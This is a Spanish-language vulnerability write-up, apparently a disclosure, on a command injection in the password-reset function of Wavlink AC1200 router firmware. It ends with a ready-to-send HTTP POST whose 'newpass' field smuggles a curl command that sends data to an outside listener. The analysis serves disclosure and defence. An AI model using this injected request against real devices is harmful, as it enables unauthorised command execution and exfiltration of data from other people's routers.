
Wavlink AC1200 con versiones de firmware M32A3_V1410_230602 y M32A3_V1410_240222 son vulnerables a una inyección de comandos post-autenticación al restablecer la contraseña. Esta vulnerabilidad se encuentra específicamente dentro de la función "set_sys_adm" del binario "adm.cgi", y se debe a una sanitización incorrecta del campo "newpass" proporcionado por el usuario.
Durante una reciente investigación de seguridad para el Wavlink AC1200 (Modelo: WL-WN532A3), se identificó una vulnerabilidad de inyección de comandos posterior a la autenticación en el endpoint "/cgi-bin/adm.cgi". Esta vulnerabilidad podría permitir que actores malintencionados que hayan comprometido las credenciales del router ejecuten comandos arbitrarios del shell. Actualmente se está tramitando la asignación de un número CVE para esta vulnerabilidad.
Al recibir el router Wavlink AC1200, se identificó que el firmware cargado era 'M32A3_V1410_230602'. Sin embargo, esta versión específica de firmware no estaba disponible en el sitio web oficial de soporte de Wavlink. Wavlink solo proporcionó una versión de firmware, M32A3_V1410_240222, que es aproximadamente ocho meses más reciente. Durante el análisis, se decidió investigar el firmware más reciente disponible, mientras se intentaba explotar cualquier vulnerabilidad en la versión anterior para confirmar si las vulnerabilidades identificadas afectaban a ambas versiones del firmware. Esto también evitó la necesidad de extraer manualmente el firmware del dispositivo. La extracción del sistema de archivos raíz se realizó simplemente utilizando la funcionalidad de extracción de 'binwalk'. El firmware M32A3_V1410_240222 está disponible para descargar en el siguiente enlace: https://docs.wavlink.xyz/Firmware/fm-532a3/

La investigación inicial se centró en identificar la superficie de ataque para inyecciones de comandos. Si bien se llamaba a muchas funciones system, popen y varias funciones auxiliares importadas para ejecutar comandos del sistema, muchas eran simplemente llamadas a scripts bash predefinidos en los que no era posible la inyección. Sin embargo, una llamada a system en la función set_sys_adm dentro de /etc_ro/lighttpd/www/cgi-bin/adm.cgi generó sospechas de inmediato debido a que pasaba un array de caracteres formateado con sprintf. Tras una inspección más detallada, se determinó que la función intentaba sanitizar la entrada de una contraseña proporcionada por el usuario buscando el carácter ;. Sin embargo, esta sanitización no tiene en cuenta otras técnicas de inyección de comandos.
La imagen siguiente muestra el desensamblado de set_sys_adm. Se han cambiado algunos nombres de variables para facilitar el análisis de esta función. En la imagen, se puede ver que la función obtiene el campo password de una solicitud web en la línea 40, luego verifica que no sea NULL, que no contenga un punto y coma (;) y que no sea el mismo valor que la contraseña almacenada previamente en las líneas 58-60. Este valor se pasa a una llamada sprintf que construye un comando de la siguiente manera: echo "<username>:<password>" > /etc/lighttpd.user. Esta cadena formateada se pasa inmediatamente a una llamada a system.

Este fue un gran hallazgo, pero era momento de determinar desde dónde se podía acceder a esta vulnerabilidad desde el portal web. Rápidamente se identificó que esta función se invocaba al restablecer la contraseña desde la página "Login Password".

Después de identificar esta página web, se capturó la solicitud HTTP POST con Burp Suite. La solicitud es la siguiente:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
Ahora que entendemos la vulnerabilidad de inyección de comandos y hemos identificado dónde es accesible, era momento de realizar un intento de explotación. La siguiente solicitud se envió para forzar al router a realizar una solicitud curl a un listener de netcat, mientras se exfiltraban datos a través del campo User Agent. El comando antes de la codificación URL y de colocarlo en la solicitud es el siguiente: curl http://192.168.1.6:4567/ -A $(pwd). El comando colocado en una solicitud HTTP POST se ve así:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
Después de enviar la solicitud, obtenemos la confirmación de que la vulnerabilidad es explotable.
